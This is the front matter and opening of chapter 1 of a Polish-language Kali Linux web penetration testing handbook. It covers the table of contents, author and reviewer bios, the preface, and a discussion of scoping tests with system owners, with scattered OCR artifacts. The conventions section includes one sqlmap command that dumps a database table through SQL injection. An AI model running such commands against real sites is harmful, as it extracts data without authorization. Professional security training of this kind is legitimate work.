Kali Linux Testy penetracyjne Podręcznik pentestera! Spis treści O autorach 9 O recenzentach 11 Wstęp_________________________________________________...
Kali Linux Testy penetracyjne Podręcznik pentestera!
Spis treści O autorach O recenzentach
9 11
Wstęp__________________________________________________________________________15 Co znajdziesz w tej książce? Czego potrzebujesz do pracy z książką? Dla kogo przeznaczona jest ta książka? Konwencje Errata Piractwo
Rozdział 1. Przygotowania Podstawowe założenia testów penetracyjnych aplikacji internetowych Metodologia przeprowadzania testów penetracyjnych Ocena ryzyka Testy penetracyjne z wykorzystaniem systemu Kali Linux — założenia Etap 1. Rekonesans Etap 2. W yszukiwanie podatności Etap 3. Wykorzystywanie zidentyfikowanych podatności Etap 4. Podnoszenie uprawnień Etap 5. Utrzymanie zdobytego przyczółka Wprowadzenie do systemu Kali Linux Konfiguracja systemu Kali Linux Uruchamianie systemu Kali Linux z nośnika zew nętrznego Instalowanie systemu Kali Linux Kali Linux i pierwsze uruchomienie w maszynie wirtualnej Przegląd narzędzi dostępnych w systemie Kali Linux Podsumowanie
Rozdział 2. Rekonesans Zadania rekonesansu Rozpoznanie wstępne Strona internetowa firmy Źródła przechowujące historyczne wersje witryn internetowych Regional Internet Registries, czyli regionalni administratorzy adresów IP System EDGAR Zasoby serwisów społecznościowych Zaufanie Oferty pracy Lokalizacja Wyszukiwarka Shodan G oogle hacking GHDB, czyli G oogle Hacking Database Badanie zasobów sieci komputerowych Rekonesans z wykorzystaniem protokołu ICMP Rekonesans z wykorzystaniem serwerów DNS Nmap FOCA — wyszukiw anie i analiza metadanych Podsumowanie
Rozdział 3. Ataki na serwery aplikacji internetowych Wyszukiwanie podatności i luk w zabezpieczeniach W ebshag Skipfish ProxyStrike Vega Ow asp-Zap W ebsploit Wykorzystywanie znalezionych luk w zabezpieczeniach (exploity) Metasploit w 3af Wykorzystywanie luk w zabezpieczeniach systemów poczty elektronicznej Ataki typu brute-force Hydra DirBuster WebSlayer Łamanie haseł John the Ripper Ataki typu man-in-the-middle SSLStrip Podsumowanie
Rozdział 4. Ataki na klienty aplikacji internetowych
147
Inżynieria społeczna Pakiet SET — Social Engineer Toolkit Zastosowanie pakietu SET do ataku z klonowaniem MitM Proxy Skanowanie hostów Skanowanie hostów za pom ocą pakietu Nessus Przechwytywanie i łamanie haseł użytkowników Hasła w systemie W indow s Hasła w systemie Linux Narzędzia do łamania haseł dostępne w systemie Kali Linux Johnny Programy hashcat i oclHashcat samdum p2 chntpw Ophcrack Crunch Inne narzędzia dostępne w systemie Kali Linux Hash-identifier dictstat Rainbow Crack (rcracki_mt) findmyhash phrasendrescher CmosPwd creddum p Podsumowanie
Rozdział 5. Ataki na metody uwierzytelniania Ataki na zarządzanie sesjami Clickjacking Przechwytywanie ciasteczek sesji Narzędzia do przechwytywania sesji Wtyczki przeglądarki Firefox Cookie Cadger Wireshark Pakiety Hamster i Ferret Atak typu m an-in-the-m iddle Narzędzia dsniff i arpspoof Ettercap Driftnet Wstrzykiwanie kodu SQL sqlmap Ataki typu XSS (cross-site scripting) Testowanie podatności na ataki X SS Techniki XSS cookie stealing i Authentication hijacking
Testowanie mechanizmów obronnych Podstawowe wym ogi bezpieczeństwa STIG Zarządzanie aktualizacjami i poprawkami zabezpieczeń Polityka zarządzania hasłami Klonowanie środowiska HTTrack Inne narzędzia do klonowania witryn Obrona przed atakami typu man-in-the-middle Obrona przed atakami SSLstrip Obrona przed atakami typu DoS Obrona przed przechwytywaniem ciasteczek Obrona przed atakami typu Clickjacking Informatyka śledcza Uruchamianie systemu Kali Linux w trybie Forensics Analiza systemu plików za pom ocą narzędzi systemu Kali Linux Inne narzędzia śledcze w systemie Kali Linux Podsumowanie
Rozdział 8. Tworzenie raportów końcowych Zgodność ze standardami i procedurami Usługi profesjonalne Dokumentacja Format raportu Strona tytułowa Oświadczenie o zachow aniu poufności Zarządzanie wersjami dokumentacji Ramy czasow e projektu Streszczenie raportu Metodologia Szczegółow e procedury testowania Podsumowanie ustaleń Podatności i luki w zabezpieczeniach Wnioski i rekomendacje dla środowiska sieciow ego Dodatki Glosariusz Wykaz prac Zew nętrzne testy penetracyjne Dodatkowe elementy wykazu prac Narzędzia wspomagające tworzenie raportów Dradis KeepNote Maltego CaseFile MagicTree CutyCapt Podsumowanie
O autorach Joseph M uniz jest projektantem rozwiązań technicznych i badaczem zagadnień związanych z bezpieczeństwem systemów teleinformatycznych. Swoją karierę zaczynał od pracy jako programista i kontraktowy administrator sieci komputerowych. Później zmienił zainteresowa nia na usługi konsultingowe i odnalazł swoje powołanie w dziedzinie bezpieczeństwa syste mów komputerowych, świadcząc usługi dla wielu klientów. Joseph był zaangażowany w pro jektowanie i implementację bardzo wielu rozwiązań wdrażanych zarówno w firmach z listy „Fortune” 500, jak i w wielkich sieciach federalnych. Joseph je st właścicielem i twórcą witryny w w w .thesecu rityblogger.com , która jest bardzo po pularnym i szanowanym źródłem informacji o zagadnieniach związanych z bezpieczeństwem systemów komputerowych i wdrażaniem różnych tego typu produktów i rozwiązań. Josepha można również spotkać na wielu konferencjach i spotkaniach, gdzie wygłasza swoje referaty i prezentuje publikacje. Ostatnio wygłaszał takie referaty, jak „Social Media Deception” na konferencji 2013 A SIS International, „Eliminate Network Blind Spots” na webinarium Data Center Security czy „Making Bring Your Own Device (BYOD) Work” na Government Solutions Forum. W lipcu 2013 opublikował również w magazynie „Backtrack Compendium” artykuł zatytułowany C om prom ising Passwords. Poza pracą można go również spotkać za konsoletami gramofonów, gdzie „męczy” klasyczne, winylowe płyty, lub na boisku lokalnego klubu piłkarskiego.
Niniejsza książka nie mogłaby powstać bez pomocy mojej uroczej żony, Ning, oraz bez kreatywnych inspi racji mojej córki Raylin. Moja pasja do zdobywania wiedzy to zasługa mojego brata Aleksa, który wychowy wał mnie wraz z moimi kochanymi rodzicami, Irene i Rayem. Na koniec chciałbym również bardzo podzię kować wszystkim moim przyjaciołom, rodzinie i kolegom, którzy wspierają mnie w moich działaniach już od wielu lat.
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Aamir Lakhani to projektant znakomitych rozwiązań w dziedzinie bezpieczeństwa systemów teleinformatycznych i kontrwywiadu elektronicznego, wdrażanych w wielu czołowych firmach i organizacjach rządowych. Lakhani prowadzi wiele projektów obejmujących wdrażanie nowych rozwiązań mechanizmów bezpieczeństwa w firmach z listy „Fortune 500”, w Departamencie Obrony USA, jednostkach służby zdrowia, instytucjach edukacyjnych oraz wielu innych organizacjach finansowych i me dialnych. Lakhani projektował rozwiązania zabezpieczeń w wielu organizacjach i agencjach powiązanych ze środowiskami armii i wywiadu, jak również pomagał wielu firmom i organi zacjom bronić się przed atakami zorganizowanych grup hakerów. Lakhani je st uważany za jednego z najlepszych fachowców zajmujących się projektowaniem rozwiązań systemów bez pieczeństwa, zagrożeniami aplikacji mobilnych, badaniami nad złośliwym oprogramowaniem i zagrożeniami typu APT. Lakhani je st autorem i współautorem wielu książek, jak również ma za sobą wywiady w środkach masowego przekazu, gdzie występował jako ekspert w dziedzinie bezpieczeństwa systemów komputerowych. Działając pod pseudonimem D r Chaos, Lakhani prowadzi bloga D rC haos.com . Na swojej prestiżowej liście 46 F ederal Technology Experts to Follow on Twitter magazyn „Forbes” napisał, że Aamir Lakhani to „bloger, specjalista w dziedzinie bezpieczeństwa systemów komputerowych, superbohater... i po prostu równy facet”.
Chciałbym zadedykować tę książkę moim rodzicom, Mahmoodowi i Nasreen, oraz moim siostrom, Noureen i Zahrze. Dziękuję Wam, że zawsze wspieraliście tego małego hakera, który siedzi gdzieś głęboko we mnie. Ta książka nie mogłaby powstać bez Waszego wsparcia. Dziękuję, Mamo i Tato, za Wasze poświęcenia dla mnie. Chciałbym również podziękować wszystkim moim przyjaciołom i kolegom za wsparcie oraz niezliczone, cenne uwagi i sugestie. To naprawdę wielki przywilej pracować z najzacniejszymi i najbardziej oddanymi ludźmi na świecie.
10
O recenzentach Adrian Hayter to pentester mający ponad 10 lat doświadczeń w przeprowadzaniu testów penetracyjnych aplikacji internetowych. Posiada tytuł magistra w dziedzinie bezpieczeństwa systemów komputerowych oraz licencjat z informatyki, oba zdobyte na Uniwersytecie Royal Holloway w Londynie.
D anang H eriyadi to pochodzący z Indonezji badacz zagadnień związanych z bezpieczeń stwem systemów teleinformatycznych, od ponad pięciu lat specjalizujący się w inżynierii wstecz nej i przełamywaniu zabezpieczeń oprogramowania i aplikacji internetowych. O becnie Danang prowadzi w firmie Hatsecure szkolenia z serii „Advanced Exploit and ShellCode Development”. Oprócz tego lubi dzielić się swoimi doświadczeniami i wynikami badań na blogu http://w w w .fuzzerbyte.com /.
Chciałbym podziękować moim rodzicom za to, że powołali mnie do życia. Bez nich nie byłoby mnie tutaj. Chciałbym również podziękować mojej dziewczynie za codzienne wsparcie uśmiechem i miłością oraz wszystkim moim przyjaciołom, których nie sposób tutaj kolejno wymienić.
Tajinder Singh Kalsi posiada ponad sześć lat doświadczeń na polu IT i jest współzałożycie lem firmy Virscent Technologies Pvt Ltd. Jest w niej czołowym projektantem rozwiązań tech nicznych. Swoją karierę rozpoczynał jako technik w firmie W IPRO, a później został instruktorem w firmie konsultingowej. Obecnie prowadzi seminaria na tematy związane z bezpieczeństwem systemów komputerowych, projektowaniem aplikacji dla systemu Android, projektowaniem stron internetowych i przetwarzaniem danych w chmurze obliczeniowej w uczelniach na całym tere nie Indii. Prowadził wykłady w ponad 100 uczelniach dla ponad 8500 studentów. Oprócz tego, że
11
fl
K a li L in u x . T e s ty p e n e tra c y jn e
prowadzi szkolenia i wygłasza wykłady, zajmuje się pisaniem bloga (zobacz http://virscent.com / blog/), gdzie prezentuje różne sztuczki i triki. Możesz skontaktować się z nim na Facebooku (zobacz https://w w w .facebook.com /tajinder.kalsi.tj) lub na jego własnej stronie internetowej, http://w w w .tajin derkalsi.com /.
Chciałbym złożyć specjalne podziękowania na ręce Krunala Rajawadhy (jednego z menedżerów ds. kontaktów z autorami w wydawnictwie Packt Publishing) za odwiedzenie mojego bloga i zaoferowanie mi możliwości pracy przy tej książce. Chciałbym również podziękować mojej rodzinie i przyjaciołom za wsparcie, jakiego mi udzielili podczas pracy nad tą książką.
B rian Sak, posiadacz certyfikatu C C IE o numerze 14 441, pracuje obecnie jako architekt rozwiązań technicznych w firmie Cisco Systems, gdzie zajmuje się projektowaniem i wdraża niem rozwiązań sieciowych, oraz wspomaga działanie firm konsultingowych będących partnerami firmy Cisco. Przed rozpoczęciem pracy w Cisco Brian pracował jako konsultant w dziedzinie bezpieczeństwa systemów komputerowych dla dużych instytucji finansowych, agencji rządowych i firm z listy „Fortune 500”. Brian posiada ponad dwudziestoletnie doświadczenie w pracy w branży, z czego zdecydowaną większość czasu spędził, zajmując się zagadnieniami bezpieczeństwa. Oprócz wielu certyfikatów technicznych i branżowych Brian posiada również tytuł magistra w dziedzinie bezpieczeństwa systemów komputerowych i jest autorem wielu książek i publikacji.
Kunal Sehgal (zobacz http://kunseh.com/) trafił do branży bezpieczeństwa systemów komputero wych po ukończeniu szkolenia Cyberspace Security, organizowanego przez Georgian College (Kanada). Od tamtej pory pracował jako konsultant dla wielu organizacji finansowych, co przyniosło mu wiele doświadczeń z pracy w miejscach, gdzie zagadnienia bezpieczeństwa są krytyczne dla operacji biznesowych. Obecnie Kunal jest szefem operacji działu bezpieczeństwa IT dla regionu APAC jednego z największych banków w Europie. Posiada ponad 10 lat doświadczeń w wielu dziedzinach, od wyszukiwania podatności i luk w zabezpieczeniach, poprzez zarządzanie bezpieczeństwem, aż do zagadnień związanych z szacowaniem ryzyka. Jest posiadaczem wielu certyfikatów, takich jak O SC P TCNA, C ISM , C CSK , Secu rity+, Cisco Router Security, ISO 27001 LA czy IT IL .
Nitin Sookun (MBCS) to pasjonat komputerowy, zamieszkujący w samym sercu Oceanu Indyj skiego, na przepięknej wyspie Mauritius. Swoją karierę rozpoczynał jako przedsiębiorca i założy ciel firmy Indra Co. Ltd. W poszukiwaniu nowych wyzwań przekazał zarządzanie firmą swojej rodzinie, a sam rozpoczął pracę w firmie Linkbynet Indian Ocean Ltd. jako inżynier systemów Unix/Linux. O becnie pracuje jako inżynier w firmie Orange Business Services.
12
O re c e n z e n ta c h
fl
Od roku 2009 Nitin jest zapalonym kontrybutorem systemu openSU SE i spędza swój wolny czas, promując systemy Linux i inne rozwiązania F O SS. Jest aktywnym członkiem różnych grup użytkowników systemu Linux i projektów otwartego oprogramowania, takich jak openSUSE Project, MATE Desktop Project, Free Software Foundation, Linux User Group o f Mauritius oraz Mauritius Software Craftsmanship Community. Nitin lubi pisać skrypty w językach takich jak Bash, Perl i Python, a wyniki swoich prac prezentuje zazwyczaj na swoim blogu. Jego najnowsze dzieło, „Project Evil Genius”, to skrypt pozwalający na adaptację oraz instalowanie narzędzi przeznaczonych do przeprowadzania testów penetracyjnych w systemie openSUSE. Jego publikacje są często tłumaczone na inne języki i rozpowszechniane w społeczności open source. Nitin jest gorącym orędownikiem wolnego oprogramowania i udo stępniania wiedzy wszystkim zainteresowanym. W wolnym czasie lubi nawiązywać znajomości z zawodowcami z różnych dziedzin wiedzy.
13
Wstęp Kali to dystrybucja systemu Linux oparta na systemie D ebian Linux, która została wyposażo na w ogromny arsenał narzędzi przeznaczonych do przeprowadzania testów penetracyjnych, wykorzystywanych przez zawodowców (i nie tylko) podczas oceny ryzyka i stanu bezpieczeń stwa aplikacji internetowych danej firmy czy organizacji. Kali oferuje szeroki zestaw odpowiednio skonfigurowanych i zoptymalizowanych narzędzi pozwalających na identyfikację i wykorzy stywanie luk w zabezpieczeniach systemów internetowych. W książce tej będziemy omawiać narzędzia, które były dostępne w edycji systemu Kali Linux wydanej 13 marca 2013 r., oraz szereg innych narzędzi i aplikacji typu op en source. Książka K ali Linux. Testy pen etracyjn e, została zaprojektowana tak, aby być przewodnikiem dla pentesterów (czyli użytkowników zawodowo zajmujących się przeprowadzaniem testów penetracyjnych), którzy chcą wykorzystywać Kali Linux do testowania bezpieczeństwa apli kacji i witryn internetowych. Naszym celem było pokazanie narzędzi, które najlepiej nadają się do wykonywania poszczególnych zadań, omówienie sposobów ich użycia, przedstawienie danych, jakie można uzyskać za ich pomocą, oraz przedstawienie przykładowych raportów i wnio sków, jakie można na ich podstawie opracować. W systemie Kali Linux masz do dyspozycji bardzo wiele różnych programów i narzędzi, ale w naszej książce staraliśmy się skoncentro wać głównie na tych, które mają największe możliwości i najlepiej sprawdzają się w praktyce. Nasza książka została podzielona na rozdziały, po święcone poszczególnym zadaniom, które są najczęściej spotykane podczas przeprowadzania testów penetracyjnych aplikacji i witryn interne towych. W rozdziale 1., „Przygotowania”, znajdziesz omówienie podstawowych pojęć związanych z testami penetracyjnymi, poznasz środowisko systemu Kali Linux i dowiesz się, jak je skonfi gurować pod kątem tematów i zagadnień prezentowanych w naszej książce. W rozdziałach 2. - 6. przedstawiamy różne zagadnienia związane z metodologią i przeprowadzaniem testów pene tracyjnych, włącznie z przykładami konfiguracji środowiska testowego i tworzeniem raportów końcowych.
fl
K a li L in u x . T e s ty p e n e tra c y jn e
W rozdziale T., „Przeciwdziałanie i zapobieganie”, dowiesz się, w jaki sposób postępować z syste mami podatnymi na ataki opisywane w poprzednich rozdziałach i jak zapobiegać takim zagroże niom. Rozdział 8., „Tworzenie raportów”, poświęcony je st w całości najlepszym praktykom tworzenia raportów końcowych po zakończeniu testów penetracyjnych oraz streszczenia ra portu dla kadry zarządzającej. Znajdziesz tam również wiele przykładów, które mogą Ci po służyć jako szablony do tworzenia własnych raportów i ich streszczeń. Celem przyjęcia takiego układu książki było dostarczenie Czytelnikowi możliwie kompletne go poradnika pozwalającego na zapoznanie się z metodologią przeprowadzania testów penetracyjnych aplikacji internetowych, zastosowanie najlepszych narzędzi dostępnych w dystrybucji Kali Linux, zaproponowanie rozwiązań pozwalających na usunięcie podatności testowanych aplikacji oraz przedstawienie sposobów efektywnego i profesjonalnego tworzenia raportów końcowych.
Co znajdziesz w tej książce? Rozdział 1., „Przygotowania”, omawia podstawowe zagadnienia związane z przeprowadza niem profesjonalnych testów penetracyjnych aplikacji internetowych. Dowiesz się tutaj, czym różnią się testy penetracyjne od audytów bezpieczeństwa i innych usług, oraz poznasz meto dologię przeprowadzania takich testów. W tym rozdziale omówimy również instalację systemu Kali Linux i jego konfigurację do wykonywania zadań przedstawionych w naszej książce. Rozdział 2., „Rekonesans”, opisuje szereg sposobów zbierania informacji na temat celu będą cego przedmiotem testu penetracyjnego. Znajdziesz tutaj opisy wielu popularnych narzędzi dostępnych w internecie oraz w menu Inform ation G athering systemu Kali Linux. Rozdział 3., „Ataki na serwery aplikacji internetowych”, koncentruje się na metodach identy fikacji i wykorzystywania podatności i luk w zabezpieczeniach serwerów i aplikacji interne towych. W rozdziale korzystamy zarówno z narzędzi zaimplementowanych w systemie Kali Linux, jak i innych narzędzi typu op en sou rce dostępnych w internecie. Rozdział 4., „Ataki na klienty aplikacji internetowych”, poświęcony jest atakom na systemy będące klientami aplikacji internetowych i serwerów WWW. Będziemy tutaj poruszać sprawy zwią zane między innymi z atakami socjotechnicznymi i inżynierią społeczną (ang. social engineering), wykorzystywaniem podatności i luk w zabezpieczeniach klientów oraz ataki na hasła — są to nadal najpowszechniej stosowane metody zabezpieczania dostępu do systemów i aplikacji. Rozdział 5., „Ataki na metody uwierzytelniania”, porusza zagadnienia związane ze sposobami uwierzytelniania użytkowników i systemów w aplikacjach internetowych. Znajdziesz tutaj ta kie tematy, jak ataki na proces zarządzania sesjami uwierzytelniania, uzyskiwanie dostępu do danych przechowywanych na klientach aplikacji internetowych oraz techniki przeprowadza nia ataków typu m an-in -the-m iddle. W tym rozdziale omówimy również między innymi ataki typu SQ L Injection oraz C ross-Site Scripting.
16
W stę p
fl
Rozdział 6., „Ataki na aplikacje internetowe i serwery W W W ”, pokazuje, w jaki sposób mo żesz użyć serwerów W W W do przeprowadzenia ataków na aplikacje internetowe. Opisujemy tutaj między innymi ataki wykorzystujące podatności i luki w zabezpieczeniach przeglądarek, ataki wykorzystujące serwery proxy oraz techniki przechwytywania i gromadzenia haseł do stępu. W rozdziale znajdziesz również omówienie metod zakłócania ciągłości działania usług i aplikacji internetowych przy użyciu ataków typu DoS. Rozdział T., „Przeciwdziałanie i zapobieganie”, przedstawia sprawdzone metody „utwardzania” zabezpieczeń Twoich aplikacji internetowych i serwerów WWW. W tym rozdziale omówimy takie zagadnienia, jak ustalanie stanu zabezpieczeń systemu, zarządzanie aktualizacjami i łatkami oprogramowania, reguły haseł, oraz zaprezentujemy metody obrony przed atakami opisywa nymi w poprzednich rozdziałach. Znajdziesz tutaj cały podrozdział poświęcony narzędziom wykorzystywanym w informatyce śledczej, dzięki którym będziesz mógł przeprowadzać eksperty zy mające na celu wyjaśnienie sposobu, w jaki doszło do złamania zabezpieczeń danej aplikacji czy serwera WWW, i podjęcie kroków pozwalających na uniknięcie takich incydentów w przyszłości. Rozdział 8., „Tworzenie raportów z testów penetracyjnych”, poświęcony jest w całości najlepszym praktykom tworzenia profesjonalnych raportów końcowych po zakończeniu testów penetra cyjnych. Omówimy tutaj między innymi efektywne sposoby prezentacji wniosków, przedstawimy kilka wskazówek dotyczących formatowania dokumentów i zaprezentujemy kilka szablonów, które będziesz mógł wykorzystać podczas tworzenia własnych raportów.
Czego potrzebujesz do pracy z książką? Czytelnik powinien posiadać podstawową wiedzę na temat aplikacji internetowych, połączeń sieciowych oraz metodologii przeprowadzania testów penetracyjnych. W tej książce przed stawiamy szczegółowo, krok po kroku, sposoby przeprowadzania ataków przy użyciu narzędzi zaimplementowanych w systemie Kali Linux oraz innych narzędzi typu op en source, dostępnych w internecie. Doświadczenie w pracy i znajomość poprzednich wersji systemu Backtrack Linux i podobnych narzędzi nie je st absolutnie wymagana, aczkolwiek z pewnością będzie dla Czy telnika wielkim ułatwieniem. Wymagania sprzętowe dla środowiska testowego i systemu Kali Linux zostały szczegółowo omówione w rozdziale 1., „Przygotowania”.
Dla kogo przeznaczona jest ta książka? Nasza książka przeznaczona jest przede wszystkim dla pentesterów, czyli użytkowników zawodo wo zajmujących się przeprowadzaniem testów penetracyjnych aplikacji internetowych i ser werów WWW, oraz dla tych wszystkich, którzy chcą poznać możliwości systemu Kali Linux
17
fl
K a li L in u x . T e s ty p e n e tra c y jn e
i używać ich na własne potrzeby. Jeżeli chcesz dowiedzieć się, jak przeprowadzać testy penetra cyjne, jak wyszukiwać podatności i luki w zabezpieczeniach aplikacji internetowych i serwe rów W W W oraz jak przygotowywać profesjonalne raporty po przeprowadzeniu takich testów, to ta książka jest właśnie dla Ciebie.
Konwencje W tej książce wykorzystujemy różne style tekstu do wyróżniania różnych rodzajów informacji. Poniżej znajdziesz kilka przykładów takich stylów wraz z krótkimi objaśnieniami. Słowa kluczowe, fragmenty kodu i nazwy poleceń są w tekście wyróżnione w następujący sposób: „Na przykład nowemu profilowi możesz nadać nazwę Mój pierwszy skan lub użyć dowolnej innej nazwy”. Bloki kodu (listingi) oraz wyniki działania komend wydawanych w wierszu poleceń są forma towane w następujący sposób: Wszystkie polecenia wpisywane przez użytkownika w wierszu polecenia są formatowane w nastę pujący sposób: sqlmap -u http://www.drchaous.com/article.php?id=5 -T tablesnamehere -U te st --dump -U te s t -dump Nowe pojęcia i ważne słowa zostały w tekście pogrubione. Komunikaty wyświetlane na ekra nie, nazwy poleceń menu, nazwy okien dialogowych i inne podobne elementy zostały w tekście wyróżnione pochyloną czcionką, na przykład: „Po kliknięciu przycisku E xecute (...) zostanie dokonana próba wstrzyknięcia kodu SQL”’. Ostrzeżenia i inne ważne uwagi oraz różne wskazówki, ciekawostki i porady są wyróżnione w ten sposób.
Errata Chociaż dołożyliśmy wszelkich możliwych starań, aby w naszych książkach nie pojawiały się pomyłki czy niedociągnięcia, to jednak chochliki nie dają za wygraną. Jeżeli znajdziesz jakiś błąd w naszej książce — niezależnie od tego, czy na przykład jest to błąd w tekście, czy pomyłka w kodzie listingu — będziemy bardzo zobowiązani, jeżeli nas o tym poinformujesz. Wysyłając taką informację, pomożesz uchronić innych Czytelników przed niepotrzebną frustracją, a nam
18
W stę p
fl
umożliwisz przygotowanie poprawek i ulepszeń, które zostaną wprowadzone do kolejnego wyda nia. Jeżeli znajdziesz jakiś błąd, możesz go zgłosić, wchodząc na stronę http://helion.pl/user/erraty/ i wypełniając odpowiednie dane w zamieszczonym tam formularzu. Zweryfikowane zgłoszenie zostanie opublikowane na stronie erraty książki i uwzględnione w je j kolejnych wydaniach. Wszystkie zgłoszone błędy i poprawki możesz znaleźć na stronie internetowej poświęconej książce w witrynie wydawnictwa Helion (wejdź na stronę wybranej książki, przejdź na kartę Szczegóły i poszukaj łącza o nazwie Errata).
Piractwo Tworzenie pirackich kopii materiałów multimedialnych i ich nielegalna dystrybucja w interne cie jest problemem dla każdego wydawnictwa. Wydawnictwo Helion traktuje sprawę ochrony praw autorskich i licencji w poważny sposób. Jeżeli kiedykolwiek znajdziesz w sieci nielegalne kopie naszych książek i innych produktów w dowolnej formie, bardzo prosimy o podanie siecio wego adresu serwera lub strony W W W zawierającej takie materiały, co pozwoli nam na pod jęcie odpowiednich kroków. Jeżeli chcesz skontaktować się z nami w sprawie naruszenia praw autorskich, możesz tego dokonać, wypełniając anonimowy formularz na stronie http:llhelion .pllpiraey.phtm l. Z góry bardzo dziękujemy za Twoją pomoc w ochronie praw autorskich!
19
R
O
Z
D
Z
I
A
Ł
Przygotowania W iele firm i organizacji oferuje usługi z zakresu bezpieczeństwa systemów teleinformatycz nych i w swoich materiałach używa takich pojęć, jak audyt bezpieczeństwa, oszacowanie ryzyka i stanu bezpieczeństwa systemów i aplikacji czy testy penetracyjne. Niestety, bardzo często pojęcia te są ze sobą mylone i w nieuzasadniony sposób używane zamiennie. Zgodnie z definicją au dyt bezpieczeństwa (ang. security audit) to proces mający na celu wymierną, techniczną ocenę stanu bezpieczeństwa danego systemu czy aplikacji w odniesieniu do określonej listy kontrolnej, przepisów prawa bądź zgodności z normami, standardami lub przepisami wewnętrznymi danej organizacji, podczas gdy oszacowanie bezpieczeństwa (ang. security assessment) to proces po zwalający na identyfikację luk w zabezpieczeniach systemów i aplikacji przy użyciu różnorod nych metod i narzędzi informatycznych. Testy penetracyjne to proces wykraczający daleko poza ramy szacowania bezpieczeństwa, ma jący na celu praktyczną ocenę bieżącego stanu bezpieczeństwa systemu. Testy penetracyjne polegają na przeprowadzaniu analizy zidentyfikowanych podatności i luk w zabezpieczeniach w celu weryfikacji, czy stanowią one rzeczywiste zagrożenie dla badanego systemu lub apli kacji. Wyobraźmy sobie, że podczas audytowania czy szacowania bezpieczeństwa zasobów informatycznych określonej organizacji przeprowadzone zostało skanowanie, którego wynikiem było zidentyfikowanie dużej liczby potencjalnych luk w zabezpieczeniach wielu systemów. Następujący później test penetracyjny będzie miał na celu próbę wykorzystania zidentyfikowa nych podatności z perspektywy potencjalnego włamywacza i sprawdzenia, które z nich stanowią rzeczywiste zagrożenie dla badanego systemu czy aplikacji. Dzięki takiemu postępowaniu można zredukować listę potencjalnych zagrożeń, potwierdzić istnienie (lub brak) podatności i błędów bezpieczeństwa w badanym systemie, sprawdzić skuteczność jego zabezpieczeń i przy gotować rekomendacje podnoszące jego bezpieczeństwo. Testy penetracyjne są najefektyw niejsze w sytuacji, kiedy są przeprowadzane na konkretnym systemie i mają ściśle określony cel. Jakość zamiast ilości to klucz do pomyślnego przeprowadzania testów penetracyjnych. Drobiazgowa analiza jednego, określonego systemu i dobrze przemyślany ukierunkowany atak przynosi z reguły znacznie więcej informacji na temat bezpieczeństwa danego systemu i czasu
fl
K a li L in u x . T e s ty p e n e tra c y jn e
reakcji na incydenty niż szeroko zakrojony „ślepy” atak. Dzięki starannemu wybraniu systemów, które zostaną poddane atakowi, ekspert przeprowadzający testy penetracyjne może dokonać szczegółowej oceny ryzyka i stanu bezpieczeństwa całej badanej infrastruktury informatycznej.
Samo przeprowadzenie testu penetracyjnego w żaden sposób nie powoduje, że sieć komputerowa danej organizacji staje się bezpieczniejsza!
Przyjęcie założenia, że samo wykonanie testu penetracyjnego przyczyni się do zwiększenia poziomu bezpieczeństwa danego systemu, jest bardzo często popełnianym błędem, co każdy ekspert powinien jasno i wyraźnie przekazywać wszystkim potencjalnym zleceniodawcom. Przeprowadzenie testu penetracyjnego ma na celu praktyczną ocenę bieżącego stanu bezpie czeństwa systemu i odporności na próby przełamania jego istniejących zabezpieczeń. Jeżeli w systemie zleceniodawcy nie zostały wcześniej zaimplementowane odpowiednie zabezpie czenia, to przeprowadzenie testów penetracyjnych nie przyniesie praktycznie żadnych korzyści. Pamiętaj, że przeprowadzenie testów penetracyjnych powinno być rozpatrywane najlepiej dopiero wtedy, kiedy właściciel systemu jest przekonany, że dołożył wszelkich starań mają cych na celu zapewnienie odpowiedniego poziomu zabezpieczenia swojego systemu i jest go towy na praktyczną weryfikację takiego stanu rzeczy. Jeżeli prowadzisz firmę konsultingową oferującą między innymi przeprowadzanie testów pene tracyjnych, powinieneś pamiętać, że jednym z najważniejszych elementów umowy z właścicielem systemu powinno być ustalenie szczegółowego zakresu prac. W takim dokumencie powinna się znaleźć kompletna lista zasobów i aplikacji, które będą przedmiotem ataku, oraz lista narzę dzi, które będą używane do jego przeprowadzenia. Jedną z najlepszych praktyk w tym zakresie jest pełna współpraca z właścicielem systemu już na etapie projektowania testu penetracyj nego, dzięki czemu można wspólnie wypracować jego zakres tak, aby jego wyniki były jak najbardziej miarodajne. Książka K ali Linux. Testy pen etracyjn e to praktyczny poradnik, który krok po kroku przedsta wia metody wyszukiwania, identyfikacji i wykorzystywania luk w zabezpieczeniach aplikacji internetowych. Znajdziesz tutaj takie zagadnienia, jak wyszukiwanie celów ataku, identyfika cja i wykorzystywanie luk w zabezpieczeniach (zarówno aplikacji internetowych, jak i klientów wykorzystujących usługi sieciowe), metody ochrony aplikacji internetowych przed najczęściej stosowanymi rodzajami ataków oraz tworzenie profesjonalnych raportów końcowych po zakoń czeniu testów penetracyjnych. Wierzymy, że ta książka będzie bardzo przydatna nie tylko dla Czytelników, którzy są zainteresowani zagadnieniami związanymi z przeprowadzaniem testów penetracyjnych, ale również dla tych, którzy chcą poznać system Kali Linux i dowiedzieć się, jakie są jego możliwości i czym się on różni od systemu BackTrack. Mamy ponadto nadzieję, że nasza książka będzie też znakomitym kompendium dla doświadczonych pentesterów, któ rzy będą chcieli odświeżyć nieco swoje wiadomości oraz poznać nowe narzędzia i techniki. W tym rozdziale szczegółowo omówimy podstawowe założenia różnych usług związanych z bez pieczeństwem systemów informatycznych oraz przedstawimy szereg wskazówek, które pozwolą Ci w profesjonalny sposób przeprowadzać testy penetracyjne. Dowiesz się między innymi,
22
R o z d z ia ł 1. • P rzy g o to w a n ia
fl
czym różnią się testy penetracyjne aplikacji internetowych od innych usług, i poznasz ogólną metodologię ich przeprowadzania. Znajdziesz tutaj również krótki opis instalacji zarówno te stowego, jak i produkcyjnego środowiska systemu Kali Linux.
